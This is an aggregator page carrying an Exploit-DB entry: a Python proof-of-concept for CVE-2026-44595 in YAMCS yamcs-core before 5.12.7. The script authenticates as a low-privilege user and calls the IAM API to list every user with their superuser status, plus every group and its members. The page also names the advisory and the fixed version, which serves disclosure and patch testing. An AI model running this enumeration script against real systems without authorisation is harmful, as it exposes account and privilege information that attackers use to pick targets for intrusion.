惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Apple Machine Learning Research
Apple Machine Learning Research
M
MIT News - Artificial intelligence
罗磊的独立博客
博客园 - 【当耐特】
A
About on SuperTechFans
Last Week in AI
Last Week in AI
雷峰网
雷峰网
IT之家
IT之家
aimingoo的专栏
aimingoo的专栏
H
Hackread – Cybersecurity News, Data Breaches, AI and More
博客园_首页
博客园 - 叶小钗
Microsoft Azure Blog
Microsoft Azure Blog
博客园 - Franky
J
Java Code Geeks
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
D
Docker
Engineering at Meta
Engineering at Meta
B
Blog RSS Feed
The Cloudflare Blog
大猫的无限游戏
大猫的无限游戏
阮一峰的网络日志
阮一峰的网络日志
S
SegmentFault 最新的问题
Recent Announcements
Recent Announcements

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
Daniel Miranda · 2026-05-30 · via Exploit-DB.com RSS Feed
# Exploit Title: YAMCS yamcs-core < 5.12.7 -  User Enumeration 
# Date: 2026-05-27
# Exploit Author: Daniel Miranda Barcelona (Excal1bur)
# Vendor Homepage: https://yamcs.org
# Software Link: https://github.com/yamcs/yamcs
# Version: < 5.12.7
# Tested on: Linux
# CVE: CVE-2026-44595
# Category: Remote / Information Disclosure
# Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29

#!/usr/bin/env python3
"""
CVE-2026-44595 — YAMCS Unauthorized User Enumeration via IAM API
=================================================================
IAM API endpoints (listUsers, getUser, listGroups, getGroup) do
not enforce SystemPrivilege.ControlAccess. Any authenticated user
can enumerate all accounts, superuser status, and group memberships.

Affected endpoints:
    GET /api/iam/users
    GET /api/iam/users/{name}
    GET /api/iam/groups
    GET /api/iam/groups/{name}
=================================================================
"""

import requests
import sys
import json

def main():
    target   = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090"
    username = sys.argv[2] if len(sys.argv) > 2 else "testuser"
    password = sys.argv[3] if len(sys.argv) > 3 else "test"
    base = target.rstrip("/")

    print("=" * 65)
    print(" CVE-2026-44595 — YAMCS IAM User Enumeration PoC")
    print(f" Target:   {target}")
    print(f" Username: {username} (low-privilege account)")
    print("=" * 65)

    # Authenticate
    print(f"\n[1] Authenticating as low-privilege user...")
    try:
        resp = requests.post(f"{base}/auth/token",
            data={"grant_type": "password",
                  "username": username,
                  "password": password})

        if resp.status_code != 200:
            print(f"    [-] Auth failed: HTTP {resp.status_code}")
            print(f"    [*] Create test user: yamcsadmin users create testuser --password test")
            return

        token = resp.json().get("access_token")
        print(f"    [+] Token: {token[:30]}...")
        headers = {"Authorization": f"Bearer {token}"}

    except Exception as e:
        print(f"    [-] Error: {e}")
        return

    # Enumerate users
    print(f"\n[2] GET /api/iam/users (requires ControlAccess — not enforced):")
    resp = requests.get(f"{base}/api/iam/users", headers=headers)
    print(f"    HTTP: {resp.status_code}")

    if resp.status_code == 200:
        users = resp.json().get("users", [])
        print(f"\n    [!!!] VULNERABLE — {len(users)} users enumerated:")
        for u in users:
            flag = "SUPERUSER" if u.get("superuser") else "regular"
            print(f"    -> {u.get('name')} [{flag}]")
    elif resp.status_code == 403:
        print(f"    [+] 403 Access Denied — PATCHED")

    # Enumerate groups
    print(f"\n[3] GET /api/iam/groups:")
    resp = requests.get(f"{base}/api/iam/groups", headers=headers)
    print(f"    HTTP: {resp.status_code}")

    if resp.status_code == 200:
        groups = resp.json().get("groups", [])
        print(f"\n    [!!!] VULNERABLE — {len(groups)} groups enumerated:")
        for g in groups:
            print(f"    -> {g.get('name')} ({len(g.get('members', []))} members)")
    elif resp.status_code == 403:
        print(f"    [+] 403 Access Denied — PATCHED")

    print("\n" + "=" * 65)
    print(" Fix: Upgrade to yamcs-core >= 5.12.7")
    print("=" * 65)

if __name__ == "__main__":
    main()